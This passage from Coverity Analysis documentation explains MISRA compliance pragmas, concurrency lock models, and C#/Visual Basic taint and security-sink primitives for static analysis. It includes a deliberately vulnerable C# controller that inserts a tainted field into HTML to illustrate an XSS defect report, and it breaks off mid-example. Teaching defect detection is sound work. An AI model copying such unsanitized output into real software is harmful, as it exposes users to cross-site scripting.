Use the backslash character for line continuation; for example:

```
#pragma coverity compliance block \
 ...
```

```
(deviate:2 "MISRA C-2012 Rule 5.2" "Approval #992") \
(fp:2 "MISRA C-2012 Rule 10.1" "Approval #994") \
(deviate "MISRA C-2012 Rule 10.2" "Approval #998")
```

### Warning

Use care if your source code includes guards. Because the order of inclusion in the source code determines when included files are expanded, it's important for include annotation blocks to ensure the included file is expanded in the scope.

Results from include block annotations might be inconsistent when passing pre-processed source code to Coverity. This might happen when using the `--preprocess-next` or `--preprocess-first` options of **cov-build**.

### Note

When using string syntax for identifier names, do not replace spaces and other non-alphanumeric characters with underscores. That is, the deviation should be as follows:

```
#pragma coverity compliance block(include) deviate MISRA_C_2012_Rule_7_2
"Approval #994"
```

or the following:

```
#pragma coverity compliance block(include) deviate "MISRA C-2012 Rule 7.2"
"Approval #994"
```

DO NOT do this:

```
#pragma coverity compliance block(include) deviate "MISRA_C_2012_Rule_7_2"
"Approval #994"
```

## 5.1.11.2. Examples

The following example illustrates the annotation of a single line:

```
#pragma coverity compliance deviate "MISRA C-2012 Rule 10.1" "Approval #994"
// code with defect to be deviated
```

The following example illustrates the use of block annotation; the default is file scope.

```
#pragma coverity compliance block deviate:2 "MISRA C-2012 Rule 10.2" "Approval #998"
#include "foo.h" // no Rule 10.2 defects in foo.h will be deviated
// code defect 1 to be deviated
// more good code
// code defect 2 to be deviated
// expect 2 defects to be deviated - warn otherwise
#pragma coverity compliance end_block "MISRA C-2012 Rule 10.2"
```

The following example illustrates the block annotation of an included file:

```
#pragma coverity compliance block(include) deviate "MISRA C-2012 Rule 5.2" "Approval #992"
#include "foo.h" // deviate any Rule 5.2 defects in the included file foo.h
 // (and in any files foo.h transitively includes)
// code defect to be deviated
// more good code
#pragma coverity compliance end_block(include) "MISRA C-2012 Rule 5.2"
```

Multiple annotations are supported in a single `#pragma coverity compliance` directive by listing multiple groups of *classification[:count]* *checker* [*comment*]. Enclose each group in parentheses.

If the annotation has block scope, each checker must be listed after the `end_block` in a following `#pragma` directive. Alternately individual `end_block checker` directives may be used in additional following `#pragma` directives, allowing different line number ranges for some of the multiple annotations. For example:

```
#pragma coverity compliance block \
(deviate:2 "MISRA C-2012 Rule 5.2" "Approval #992") \
(fp:2 "MISRA C-2012 Rule 10.1" "Approval #994") \
(deviate "MISRA C-2012 Rule 10.2" "Approval #998")
#include "foo.h" // no Rule defects in foo.h will be deviated
// code defect 1 ([5.2]) to be deviated
// good code
// code false positive ([10.1]) to be ignored
// good code
// code defect 1 ([10.2]) to be deviated
// code defect 2 ([5.2]) to be deviated
// code false positive 2 ([10.1]) to be ignored
#pragma coverity compliance end_block "MISRA C-2012 Rule 5.2" "MISRA C-2012 Rule 10.2"
// code defect 3 ([5.2]) - not deviated
#pragma coverity compliance end_block "MISRA C-2012 Rule 10.1"
```

### 5.1.11.3. Using the `_Pragma()` compliance operator

The `_Pragma()` operator has the same effect as the `#pragma` directive. The C99, C++11, and later standards support `_Pragma()`.

The following single-line examples are equivalent:

The following example illustrates the annotation of a single line:

```
#pragma coverity compliance deviate "MISRA C-2012 Rule 10.1" "Approval #994"
// code with defect to be deviated
```

```
_Pragma("coverity compliance deviate MISRA_C_2012_Rule_10_1 'Approval #994'")
// code with defect to be deviated
...
```

The syntax for invoking the `_Pragma()` operator is `_Pragma( <string-literal> )`, where `<string-literal>` is a string enclosed in double quotes. Typically the argument contains `coverity compliance deviate`, followed by a checker name, followed by an optional comment.

If the checker name or the comment contains a space, then additional, embedded quotes are needed. (This is the case for the comment in the example immediately above.) The embedded quotes can be single quotes, or they can be double quotes escaped with a backslash ( \ ).

The following are all properly formatted invocations of `_Pragma()` :

```
_Pragma("coverity compliance deviate checker-name comment")
_Pragma("coverity compliance deviate 'checker name' 'another comment'")
_Pragma("coverity compliance deviate \"checker name\" \"another comment\"")
```

The following example shows the use of the operator within a macro:

```
#define EXAMPLE(a) \
_Pragma("coverity compliance deviation MISRA_C_2012_Directive_4_6 \"Approval #102\")
\
int a;
...
EXAMPLE(myVar); // deviation will be on this line
```

### 5.1.12. Concurrency models

The concurrency checkers support the following library functions:

- Linux kernel library:
  - `_raw_spin_lock`
  - `_raw_spin_unlock`
  - `_spin_lock`
  - `_spin_unlock`
  - `_spin_lock_irqsave`
  - `_spin_unlock_irqrestore`
  - `_spin_lock_irq`
  - `_spin_unlock_irq`
- FreeBSD kernel library:
  - `mtx_lock_spin`
  - `mtx_unlock_spin`
  - `mtx_lock`
  - `mtx_unlock`
  - `mtx_destroy`
- Green Hills Software ThreadX:
  - `tx_mutex_get`
  - `tx_mutex_put`
  - `tx_semaphore_get`
  - `tx_semaphore_put`
- POSIX pthreads library:
  - `pthread_mutex_lock`
  - `pthread_mutex_unlock`

- `pthread_mutex_trylock`
  - `pthread_rwlock_rdlock`
  - `pthread_rwlock_tryrdlock`
  - `pthread_rwlock_wrlock`
  - `pthread_rwlock_trywrlock`
  - `pthread_rwlock_unlock`
  - `pthread_spin_lock`
  - `pthread_spin_unlock`
  - `pthread_spin_trylock`
  - `sem_post`
  - `sem_wait`
  - `sem_trywait`
- Win32 API:
    - `EnterCriticalSection`
    - `LeaveCriticalSection`
  - Wind River VxWorks library:
    - `intLock`
    - `intUnlock`
    - `semTake`
    - `semGive`

### 5.1.12.1. Adding models for concurrency checking

The concurrency models that are shipped with Coverity Analysis are located in the `<install_dir_sa>/library/concurrency` directory, and in the `<install_dir_sa>/config/default_models.concurrency.xml` file.



#### Note

When modeling concurrency primitives that involve locks, you need to model the acquisition and release of the lock. For example, you should model both `__coverity_exclusive_lock_acquire__(L)` and `__coverity_exclusive_lock_release__(L)`.

This practice avoids false positive reports by the LOCK checker.

The primitives that can be used to configure the model library are:

- `__coverity_exclusive_lock_acquire__(L)` : Indicates that the exclusive lock L is acquired.
- `__coverity_exclusive_lock_release__(L)` : Indicates that the exclusive lock L is released.
- `__coverity_recursive_lock_acquire__(L)` : Indicates that the recursive lock L is acquired.
- `__coverity_recursive_lock_release__(L)` : Indicates that the recursive lock L is released.
- `__coverity_assert_locked__(L)` : Assert that lock L is held.

- `__coverity_sleep__()` : Indicates that the calling function may take a long time to complete or otherwise block.

When you use the **cov-make-library** command to configure the models, make sure to use the `--concurrency` option, as shown in Section 5.1.12.1.1, “Example of a new model”.

#### 5.1.12.1.1. Example of a new model

If you have a function other than those in the standard libraries that the concurrency checker supports, you can add a stub function that describes the correct behavior and use the **cov-make-library** command to add that function for Coverity Analysis. If you have an exclusive lock function called `foo_lock`, for example, you can write a model for it as follows:

```
void foo_lock(void **l) {
 __coverity_exclusive_lock_acquire__(*l);
}
```

To release the lock, you can write a model as follows:

```
void foo_unlock(void **l) {
 __coverity_exclusive_lock_release__(*l);
}
```

You then add the models as follows:

```
> cov-make-library --concurrency foo_lock.c
```

```
> cov-make-library --concurrency foo_unlock.c
```

These models indicate that the `foo_lock` function locks the dereference of the first parameter, and the `foo_unlock` function releases that lock. This pattern holds for aforementioned concurrency locking functions, which receive a pointer to the lock data structure.

## 5.2. Models and Annotations in C# or Visual Basic

### 5.2.1. Adding Models in C# or Visual Basic

You create models in C# or Visual Basic for the same reasons that you create them for Java (see Section 5.4.1, “Adding Java Models”). The procedure for adding them to the analysis differs slightly.

#### To add new models:

1. Import the relevant primitives.

The Coverity primitives for C# and Visual Basic are part of the `Coverity.Primitives` namespace. Coverity Analysis provides an assembly that contains the primitives in `<install_dir>/library/primitives.dll`.

For descriptions of the primitives, see Section 5.2.1.3, “C# and Visual Basic Primitives”.

2. Add stub methods that represent the behavior of the methods that you want to add.

For the model to be applied correctly, the namespace name, class name, number and names of type parameters, method name, method parameter types, and return type must match.

3. Compile the class and register the model. Use the **cov-make-library** command for this purpose.

For general guidance, see the Java example in Section 5.4.1.2, “Modeling resource leaks”.

4. Use the **cov-analyze** command to run the analysis with the new model.

Example:

```
> cov-analyze --dir <intermediate_directory> --user-model-file ../
user_models.xmlldb
```

### 5.2.1.1. Modeling Sources of Sensitive Data in C# or Visual Basic

The analysis reports defects (SENSITIVE\_DATA\_LEAK, UNENCRYPTED\_SENSITIVE\_DATA, and WEAK\_PASSWORD\_HASH) when it detects unsafe uses of sensitive data. Many common sources of sensitive data are built-in, but additional defects might be found by identifying additional application-specific sources.

The methods that return sensitive data can be modeled using the `Security.SensitiveSource` primitives described in Section 5.2.1.3, “C# and Visual Basic Primitives”.

The following model indicates that the `GetLoginInfo` method returns both sensitive user identifier and password information.

#### Example 5.1. C#:

```
using Coverity.Primitives;
using System.Collections.Generic;

List<string> GetLoginInfo()
{
 Security.SensitiveSource(SensitiveDataType.Password);
 Security.SensitiveSource(SensitiveDataType.UserId);
 return new List<string>();
}
```

#### Example 5.2. Visual Basic:

```
Imports Coverity.Primitives
Imports System
Imports System.Collections.Generic

Function GetLoginInfo() As List(Of String)
```

```
Security.SensitiveSource(SensitiveDataType.Password)
Security.SensitiveSource(SensitiveDataType.UserId)
Return New List(Of String)()
End Function
```

The following model indicates that `GetSessionId` writes a sensitive session identifier into its byte array parameter.

**Example 5.3. C#:**

```
void GetSessionId(byte [] token)
{
 Security.SensitiveSource(token, SensitiveDataType.SessionId);
}
```

**Example 5.4. Visual Basic:**

```
Sub GetSessionId(token() As Byte)
 Security.SensitiveSource(token, SensitiveDataType.SessionId)
End Sub
```

### 5.2.1.2. Modeling Sources of Untrusted (Tainted) Data

You can use the following Security primitives (described in Section 5.2.1.3, “C# and Visual Basic Primitives”) to model untrusted data sources:

- `Security.HttpSource(Object)`
- `Security.HttpSource()`
- `Security.HttpMapValuesSource(Object)`
- `Security.HttpMapValuesSource()`
- `Security.NetworkSource(Object)`
- `Security.NetworkSource()`
- `Security.DatabaseSource(Object)`
- `Security.DatabaseSource()`
- `Security.DatabaseObjectSource()`
- `Security.FileSystemSource(Object)`
- `Security.FileSystemSource()`
- `Security.ConsoleSource(Object)`
- `Security.ConsoleSource()`

- `Security.EnvironmentSource(Object)`
- `Security.EnvironmentSource()`
- `Security.SystemPropertiesSource(Object)`
- `Security.SystemPropertiesSource()`
- `Security.RpcSource(Object)`
- `Security.RpcSource()`
- `Security.CookieSource()`
- `Security.CookieSource(Object)`

The zero-argument source primitives are used to model a method that returns a string-like or simple collection object that the analysis treats as tainted data.

The single-argument source primitives are used to model a method that taints a string-like or simple collection parameter (presumably by inserting a tainted string or sequence of characters into it). The primitive argument must be one of the modelled method's parameters.

Each variant corresponds to a particular taint type that can be trusted or distrusted using the **cov-analyze** "trust" and "distrust" command line options (for example, `--distrust-http` and `--distrust-http`), which are described in the *Coverity Command Reference* [🔗](#).

### 5.2.1.3. C# and Visual Basic Primitives

#### 5.2.1.3.1. `Concurrency.Lock(System.Object o)`

Simulates acquiring a lock on the object provided.

##### Parameters:

- `o` - The object to be modeled as a lock being locked.

##### See also:

- `Concurrency.Unlock(System.Object)`

#### 5.2.1.3.2. `Concurrency.LockByMonitor(System.Object o)`

Simulates acquiring a lock (by a monitor) on the object provided.

Typically, `Concurrency.Lock(System.Object)` is the preferable means of representing lock semantics, as `LockByMonitor` models subtly different behavior, and is applicable only to `Monitor` objects.

##### Parameters:

- `o` - The object to be modeled as a monitor lock being locked.

#### 5.2.1.3.3. **Concurrency.TimedWait(System.Object o)**

Simulates a 'wait' operation on the object provided that might return after a timeout and before a 'pulse' on the object.

**Parameters:**

- `o` - The object subject to the wait operation.

**See also:**

- `Concurrency.Wait(System.Object)`

#### 5.2.1.3.4. **Concurrency.Unlock(System.Object o)**

Simulates releasing a lock on the object provided.

**Parameters:**

- `o` - The object to be modeled as a lock being unlocked.

**See also:**

- `Concurrency.Lock(System.Object)`

#### 5.2.1.3.5. **Concurrency.UnlockByMonitor(System.Object o)**

Simulates releasing a lock (by a monitor) on the object provided.

Typically, `Concurrency.Unlock(System.Object)` is the preferable means of representing unlock semantics, as `UnlockByMonitor` models subtly different behavior, and is applicable only to `Monitor` objects.

**Parameters:**

- `o` - The object to be modeled as a monitor lock being unlocked.

#### 5.2.1.3.6. **Concurrency.Wait(System.Object o)**

Simulates a 'wait' operation on the object provided, which can block indefinitely for a 'pulse' on the object.

**Parameters:**

- `o` - The object subject to the wait operation.

**See also:**

- `Concurrency.TimedWait(System.Object)`

#### 5.2.1.3.7. **Reference.Alias(System.Object to, System.Object from)**

Indicates that the object provided as the first parameter (`to`) is to be considered an alias for the object provided as the second parameter (`from`) To this extent, closing the object referred to in the first

parameter ( `to` ) is understood to close the object in the second parameter ( `from` ). This is typically used to model a class that contains, and properly manages, a member which also has open and close semantics. Analysis understands that closing the containing class closes the contained member as well.

**Parameters:**

- `to` - The object aliased to another object.
- `from` - The object being aliased.

**See also:**

- `Reference.Open(System.Object)`
- `Reference.Close(System.Object)`

**5.2.1.3.8. Reference.Close(System.Object o)**

Indicates that the object provided is to be considered closed. A closed object should have been previously opened. If `o` is a resource previously opened, it no longer needs closing. Calls to this primitive are typically inserted where closing of the resource is handled.

**Parameters:**

- `o` - The object being closed.

**See also:**

- `Reference.Open(System.Object)`

**5.2.1.3.9. Reference.Escape(System.Object o)**

Indicates that the object given is considered to escape. An escaped object is no longer tracked by analysis. The value passed in may or may not flow to, and be used in, other parts of the program. Also implies a 'Close' due to bug 65768.

**Parameters:**

- `o` - The object being escaped.

**5.2.1.3.10. Reference.EscapeNoClose(System.Object o)**

Indicates that the object given is considered to escape. An escaped object is no longer tracked by analysis. The value passed in may or may not flow to, and be used in, other parts of the program.

**Parameters:**

- `o` - The object being escaped.

**5.2.1.3.11. Reference.Open(System.Object o)**

Indicates that the object provided ( `o` ) is a resource to be considered open (and thus should be subsequently closed.)

**Parameters:**

- `o` - The object being opened.

**See also:**

- `Reference.Close(System.Object)`

**5.2.1.3.12. Security.AuthzAction()**

Indicates that this method is associated with actions that often require authentication. The MISSING\_AUTHZ checker will only report defects when such methods are called.

**5.2.1.3.13. Security.CSRFCheckNeededForDBUpdate()**

Indicates that this method modifies the database and should be protected by a cross-site request forgery check. If it is not, the CSRF checker may report a defect.

**5.2.1.3.14. Security.CSRFCheckNeededForFileModification()**

Indicates that this method modifies the filesystem and should be protected by a cross-site request forgery check. If it is not, the CSRF checker may report a defect.

**5.2.1.3.15. Security.CSRFValidator()**

Indicates that this method checks the validity of an anti-forgery token. The checker will consider request handlers that call this method to be safe.

**5.2.1.3.16. Security.CommandArgumentsSink(System.Object o)**

Marks its parameter as flowing into a method that treats it as the arguments to an operating system command like 'System.Diagnostics.Process.Start(String fileName, String arguments)' does. The OS\_CMD\_INJECTION checker reports defects when tainted data flows into this primitive. Use this primitive to model a sink for OS\_CMD\_INJECTION that takes a single string, parses it, and uses it as arguments to a new process.

**Parameters:**

- `o` - Arguments to the process to be executed.

**5.2.1.3.17. Security.CommandFilenameSink(System.Object o)**

Marks its parameter as flowing into a method that treats it as an application filename and runs it as an operating system command like 'System.Diagnostics.Process.Start(String fileName)' does. The OS\_CMD\_INJECTION checker reports defects when tainted data flows into this primitive. Use this primitive to model a sink for OS\_CMD\_INJECTION that takes a single string, and runs it.

**Parameters:**

- `o` - The filename of the application to be executed.

#### **5.2.1.3.18. Security.ConsoleSource()**

Returns an object of arbitrary type that the analysis treats as tainted data from the console. Use this primitive to model a method that returns tainted data from the console.

#### **5.2.1.3.19. Security.ConsoleSource(System.Object o)**

Marks its parameter as containing tainted data from the console. Use this primitive to model a method that appends tainted data from the console into one of its parameters.

##### **Parameters:**

- `o` - The parameter to be tainted.

#### **5.2.1.3.20. Security.CookieSource()**

Returns an object of arbitrary type that the analysis treats as tainted data from a cookie. Use this primitive to model a method that returns tainted data from a cookie.

#### **5.2.1.3.21. Security.CookieSource(System.Object o)**

Marks its parameter as containing tainted data from a a cookie. Use this primitive to model a method that appends tainted data from a cookie into one of its parameters.

##### **Parameters:**

- `o` - The parameter to be tainted.

#### **5.2.1.3.22. Security.DatabaseObjectSource()**

Use this primitive to model a method that returns an Object that is populated with tainted data from the database, for example using an ORM (object-relational mapping). When the analysis sees the return value cast to a user type, all members of that instance will be treated as tainted data. If any of the these members are themselves user data types, the taint will be recursively applied to them.

#### **5.2.1.3.23. Security.DatabaseObjectSource(System.Object o)**

Use this primitive to model a method that populates a parameter with tainted data from the database, for example using an ORM (object-relational mapping). When the analysis sees the callsite argument cast to a user type, all members of that instance will be treated as tainted data. If any of the these members are themselves user data types, the taint will be recursively applied to them.

##### **Parameters:**

- `o` - The parameter to be tainted.

#### **5.2.1.3.24. Security.DatabaseSource()**

Returns an object of arbitrary type that the analysis treats as tainted data from a database. Use this primitive to model a method that returns tainted data from a database.

#### **5.2.1.3.25. Security.DatabaseSource(System.Object o)**

Marks its parameter as containing tainted data from a database. Use this primitive to model a method that appends tainted data from a database into one of its parameters.

##### **Parameters:**

- ○ - The parameter to be tainted.

#### **5.2.1.3.26. Security.EnvironmentSource()**

Returns an object of arbitrary type that the analysis treats as tainted data from the environment. Use this primitive to model a method that returns tainted data from the environment.

#### **5.2.1.3.27. Security.EnvironmentSource(System.Object o)**

Marks its parameter as containing tainted data from the environment. Use this primitive to model a method that appends tainted data from the environment into one of its parameters.

##### **Parameters:**

- ○ - The parameter to be tainted.

#### **5.2.1.3.28. Security.FileSystemSource()**

Returns an object of arbitrary type that the analysis treats as tainted data from the filesystem. Use this primitive to model a method that returns tainted data from the filesystem.

#### **5.2.1.3.29. Security.FileSystemSource(System.Object o)**

Marks its parameter as containing tainted data from the filesystem. Use this primitive to model a method that appends tainted data from the filesystem into one of its parameters.

##### **Parameters:**

- ○ - The parameter to be tainted.

#### **5.2.1.3.30. Security.HardcodedConnectionStringSink(System.Object o)**

Marks its parameter as flowing into a method that consumes it as a connection string. The HARDCODED\_CREDENTIALS checker reports a defect if a constant string is used as the password in the connection string.

##### **Parameters:**

- ○ - The object that contains the credentials.

#### **5.2.1.3.31. Security.HardcodedCryptographicKeySink(System.Object o)**

Marks its parameter as flowing into a method that consumes it as a cryptographic key. The HARDCODED\_CREDENTIALS checker reports a defect if a source-code-embedded constant string is passed to it.

**Parameters:**

- `o` - The object that contains the credentials.

**5.2.1.3.32. Security.HardcodedPasswordSink(System.Object o)**

Marks its parameter as flowing into a method that consumes it as a password. The `HARDCODED_CREDENTIALS` checker reports a defect if a source-code-embedded constant string is passed to it.

**Parameters:**

- `o` - The object that contains the password.

**5.2.1.3.33. Security.HardcodedSecurityTokenSink(System.Object o)**

Marks its parameter as flowing into a method that consumes it as a security token. The `HARDCODED_CREDENTIALS` checker reports a defect if a source-code-embedded constant string is passed to it.

**Parameters:**

- `o` - The object that contains the credentials.

**5.2.1.3.34. Security.HttpHeaderMapValuesSource()**

Returns a map whose values the analysis treats as tainted data from HTTP headers. Use this primitive to model a method that returns a map constructed with tainted values from HTTP headers.

**5.2.1.3.35. Security.HttpHeaderMapValuesSource(System.Object map)**

Marks all the values of its 'map' parameter as containing tainted data from HTTP headers. Use this primitive to model a method that populates the values of a dictionary with tainted data from HTTP headers.

**Parameters:**

- `map` - The dictionary whose values are to be tainted.

**5.2.1.3.36. Security.HttpHeaderSource()**

Returns an object of arbitrary type that the analysis treats as tainted data from a HTTP header. Use this primitive to model a method that returns tainted data from a HTTP Header

**5.2.1.3.37. Security.HttpHeaderSource(System.Object o)**

Marks its parameter as containing tainted data from a a HTTP header. Use this primitive to model a method that appends tainted data from a HTTP Header into one of its parameters.

**Parameters:**

- `o` - The parameter to be tainted.

#### **5.2.1.3.38. Security.HttpMapValuesSource()**

Returns a map whose values the analysis treats as tainted data from an HTTP request. Use this primitive to model a method that returns a map constructed with tainted values from an HTTP request.

#### **5.2.1.3.39. Security.HttpMapValuesSource(System.Object map)**

Marks all the values of its 'map' parameter as containing tainted data from an HTTP request. Use this primitive to model a method that populates the values of a dictionary with tainted data from an HTTP request.

##### **Parameters:**

- `map` - The dictionary whose values are to be tainted.

#### **5.2.1.3.40. Security.HttpRedirectSink(System.Object o)**

Marks a method parameter as being used as an HTTP address to redirect to. The OPEN\_REDIRECT checker reports a defect if an unsafe user-controllable string is passed to this method.

#### **5.2.1.3.41. Security.HttpSource()**

Returns an object of arbitrary type that the analysis treats as tainted data from an HTTP request. Use this primitive to model a method that returns tainted data from an HTTP request.

#### **5.2.1.3.42. Security.HttpSource(System.Object o)**

Marks its parameter as containing tainted data from an HTTP request. Use this primitive to model a method that appends tainted HTTP request data into one of its parameters.

##### **Parameters:**

- `o` - The parameter to be tainted.

#### **5.2.1.3.43. Security.InsecureRandomValueSource()**

Returns an object of arbitrary type that the analysis treats as an insecure random value. Use this primitive to model a method that returns an insecure random value.

#### **5.2.1.3.44. Security.InsecureRandomValueSource(System.Object o)**

Marks its parameter as containing an insecure random value. Use this primitive to model a method that appends an insecure random value into one of its parameters.

##### **Parameters:**

- `o` - The parameter that will contain the insecure random value.

#### **5.2.1.3.45. Security.NetworkSource()**

Returns an object of arbitrary type that the analysis treats as tainted data from the network. Use this primitive to model a method that returns tainted data from the network.

#### **5.2.1.3.46. Security.NetworkSource(System.Object o)**

Marks its parameter as containing tainted data from the network. Use this primitive to model a method that appends tainted network data into one of its parameters.

##### **Parameters:**

- ○ - The parameter to be tainted.

#### **5.2.1.3.47. Security.RpcSource()**

Returns an object of arbitrary type that the analysis treats as tainted data from a Remote Procedure Call. Use this primitive to model a method that returns tainted data from a Remote Procedure call.

#### **5.2.1.3.48. Security.RpcSource(System.Object o)**

Marks its parameter as containing tainted data from a Remote Procedure Call. Use this primitive to model a method that appends tainted data from a Remote Procedure call into one of its parameters.

##### **Parameters:**

- ○ - The parameter to be tainted.

#### **5.2.1.3.49. Security.SDLCookieSink(System.Object o)**

Indicates that this method stores sensitive data in a cookie and should be sanitized somehow. If it is not, the SENSITIVE\_DATA\_LEAK checker may report a defect.

##### **Parameters:**

- ○ - The object that is stored in the cookie.

#### **5.2.1.3.50. Security.SDLDatabaseSink(System.Object o)**

Indicates that this method stores sensitive data in a database and should be sanitized somehow. If it is not, the SENSITIVE\_DATA\_LEAK checker may report a defect.

##### **Parameters:**

- ○ - The object that is written to the database.

#### **5.2.1.3.51. Security.SDLFileSystemSink(System.Object o)**

Indicates that this method stores sensitive data in a filesystem and should be sanitized somehow. If it is not, the SENSITIVE\_DATA\_LEAK checker may report a defect.

##### **Parameters:**

- ○ - The object that is written to the file system.

#### **5.2.1.3.52. Security.SDLLoggingSink(System.Object o)**

Indicates that this method stores sensitive data in a log and should be sanitized somehow. If it is not, the SENSITIVE\_DATA\_LEAK checker may report a defect.

**Parameters:**

- ○ - The object that is stored in the log.

**5.2.1.3.53. Security.SDLRegistrySink(System.Object o)**

Indicates that this method stores sensitive data in registry and should be sanitized somehow. If it is not, the SENSITIVE\_DATA\_LEAK checker may report a defect.

**Parameters:**

- ○ - The object that is stored in registry.

**5.2.1.3.54. Security.SDLTransitSink(System.Object o)**

Indicates that this method sends sensitive data somewhere else and should be sanitized/secured somehow. If it is not, the SENSITIVE\_DATA\_LEAK checker may report a defect.

**Parameters:**

- ○ - The object that is transmitted.

**5.2.1.3.55. Security.SDLUISink(System.Object o)**

Indicates that this method reflects sensitive data back to the user and should be sanitized somehow. If it is not, the SENSITIVE\_DATA\_LEAK checker may report a defect.

**Parameters:**

- ○ - The object that is displayed.

**5.2.1.3.56. Security.SecureRandomSeedSink(System.Object o)**

Indicates that a method parameter is a secure random number generator seed. The PREDICTABLE\_RANDOM\_SEED checker reports defects when a predictable seed is passed to this method.

**5.2.1.3.57. Security.SensitiveSource(Coverity.Primitives.SensitiveDataType type)**

Returns an object of arbitrary type that the analysis treats as sensitive data. Use this primitive to model a method that returns sensitive data.

**Parameters:**

- `type` - The specific kind of sensitive data.

**5.2.1.3.58. Security.SensitiveSource(System.Object o, Coverity.Primitives.SensitiveDataType type)**

Marks its parameter as containing sensitive data. Use this primitive to model a method that puts sensitive data into one of its parameters.

**Parameters:**

- `o` - The object that now contains the sensitive data.
- `type` - The specific kind of sensitive data.

**5.2.1.3.59. Security.SqlSink(System.Object o)**

Marks its parameter as flowing into a method that runs it like an SQL, HQL, or JPQL query. The SQLI checker reports a defect when tainted data flows into this primitive. Use this primitive to model sinks for SQLI.

**Parameters:**

- `o` - The object that contains the query.

**5.2.1.3.60. Security.SystemPropertiesSource()**

Returns an object of arbitrary type that the analysis treats as tainted data from the system properties. Use this primitive to model a method that returns tainted data from the system properties.

**5.2.1.3.61. Security.SystemPropertiesSource(System.Object o)**

Marks its parameter as containing tainted data from the system properties. Use this primitive to model a method that appends tainted data from the system properties into one of its parameters.

**Parameters:**

- `o` - The parameter to be tainted.

**5.2.1.3.62. Security.UnencryptedCryptographicKeySink(System.Object o)**

Marks its parameter as flowing into a method that consumes it as a cryptographic key. The UNENCRYPTED\_SENSITIVE\_DATA checker may report a defect if unencrypted (tainted) data flows into this primitive.

**5.2.1.3.63. Security.UnencryptedPasswordSink(System.Object o)**

Marks its parameter as flowing into a method that consumes it as a password. The UNENCRYPTED\_SENSITIVE\_DATA checker may report a defect if unencrypted (tainted) data flows into this primitive.

**5.2.1.3.64. Security.UnencryptedSecurityTokenSink(System.Object o)**

Marks its parameter as flowing into a method that consumes it as a security token. The UNENCRYPTED\_SENSITIVE\_DATA checker may report a defect if unencrypted (tainted) data flows into this primitive.

**5.2.1.3.65. Security.UnencryptedSocketSource()**

Returns an object of arbitrary type that the analysis treats as an unencrypted (non SSL) socket. Use this primitive to model a method that returns an unencrypted socket.

#### **5.2.1.3.66. Security.UnencryptedSocketSource(System.Object o)**

Marks its parameter as being an unencrypted (non SSL) socket.

##### **Parameters:**

- `o` - The parameter that is known to be an unencrypted socket.

#### **5.2.1.3.67. Security.UnencryptedUrlConnectionSource()**

Returns an object of arbitrary type that the analysis treats as an unencrypted URL connection. Use this primitive to model a method that returns an unencrypted URL connection.

#### **5.2.1.3.68. Security.UnencryptedUrlConnectionSource(System.Object o)**

Marks its parameter as being an unencrypted URL connection.

##### **Parameters:**

- `o` - The parameter that is known to be an unencrypted URL connection.

#### **5.2.1.3.69. SideEffect.SideEffectFree()**

Any method calling this primitive is assumed to have no useful side effects outside of its return value.

#### **5.2.1.3.70. SideEffect.SideEffectOnlyThis()**

Any method calling this primitive is assumed to have no useful side effects outside of modifying its receiver ('this') and possibly returning a value. The analysis currently interprets this exactly as 'SideEffects', but that is likely to change in the future to help in finding more USELESS\_CALL defects.

#### **5.2.1.3.71. SideEffect.SideEffects()**

Any method calling this primitive is assumed to have potential side effects outside of its return value. Instead calling 'SideEffectOnlyThis' is preferred when it applies. Calling this primitive is not strictly necessary, as any method definition given to cov-make-library is presumed to have side effects in the absence of one of these primitives. However, calling one such primitive in each custom model for non-void methods is recommended, even if it is 'SideEffects', to indicate that the most appropriate one was selected.

#### **5.2.1.3.72. Util.KillPath()**

Indicates that the remainder of the path is infeasible (a 'killpath').

#### **5.2.1.3.73. Util.Nondet()**

Represents some nondeterministic condition impacting the behavior of the method, the precise characteristics of which are unimportant to analysis, expressed as a Boolean. The analysis treats the value returned as it would the return value from an unknown, unimplemented, or native method.

Calling `Nondet()` is considered evidence that both `true` and `false` are possible each time it is called, and generally you would want to use this. Under rare circumstances, you may want an unknown

Boolean (that is, no specific evidence that both `true` and `false` are possible.) In this case, cast the result of `Util.Unknown()` to `bool` and use that. Doing so causes subtly different behavior in analysis, and in most cases is not necessary.

**See also:**

- `Util.Unknown()`

#### 5.2.1.3.74. `Util.Unknown()`

Represents some unknown object, handled by the modeled method, the exact characteristics of which are unimportant to the modeled behavior. You may cast, dereference, or make assertions on the returned object as necessary.

`Unknown()`, like an externally implemented function, returns a value that may or may not be correlated with other state in the program, so a call to `Unknown()` by itself is not considered evidence that any particular return values are possible. Casting, dereferencing, or making assertions about the result of `Unknown()` is useful for guiding analysis, because in the absence of evidence that they can fail, the analysis will assume the only interesting behaviors of the program are when they succeed. For example, having the model compare the result of `Unknown()` to `null` hints at that possibility, which is reflected in analysis.

**See also:**

- `Util.Nondet()`

## 5.2.2. Adding Annotations for C# or Visual Basic

Adding annotations to source files that are analyzed by Coverity Analysis allows you to obtain more accurate results. Instead of letting the checker infer information, you can explicitly tag program data as having certain properties or behavior. The analysis reads these annotations as it runs. Coverity Analysis annotations use the syntax of the standard attributes for C# or Visual Basic.

**To add annotations:**

1. Import the relevant attribute classes.

The Coverity attributes are part of the `Coverity.Attributes` namespace, and a DLL file that contains the attribute classes (as well as other modeling primitives) is located in Coverity Analysis installation directory at `<install_dir> /library/primitives.dll`.

2. Mark methods and/or classes with the relevant attributes.

**Checkers that support attributes**

- `SENSITIVE_DATA_LEAK` - `SensitiveData`
- `WEAK_PASSWORD_HASH` - `SensitiveData`
- `TAINT_ASSERT` - `NotTainted`

- Tainted dataflow checkers - `Tainted`, `NotTainted`

3. Run the analysis on the annotated code.

### 5.2.2.1. Tainted and NotTainted Attributes

[Tainted] / <Tainted()> Attributes

Marking a field as `Tainted` indicates that the security checkers should treat that field as coming from an untrusted source (that is, as tainted). In particular, the security checkers (for example, XSS, SQLI, and OS\_CMD\_INJECTION) report a defect when a field that is annotated as `Tainted` flows to HTML output, an SQL interpreter, or to another such sink.

#### Example 5.5. C#:

```
using Coverity.Attributes;
using System.Web;
using System.Web.Mvc;

class HasTaintedField {
 // Here is a class member annotated as being tainted.
 [Tainted] string Untrusted;
}

// An MVC controller
class MyController : Controller {

 private HasTaintedField SomeData;

 // A controller request handler
 public ActionResult GetSomeHtml()
 {
 // The annotated member is used in an unsafe way.
 // A cross-site scripting defect is reported.
 return Content("<html>"+SomeData.Untrusted+"</html>"); // XSS Defect
 }
}
```

#### Example 5.6. Visual Basic:

```
Imports Coverity.Attributes
Imports System
Imports System.Web
Imports System.Web.Mvc

Class HasTaintedField
 ' Here is a class member annotated as being tainted.
 <Tainted()> Untrusted as String
End Class

' An MVC controller
```

```

Class MyController
 Inherits Controller

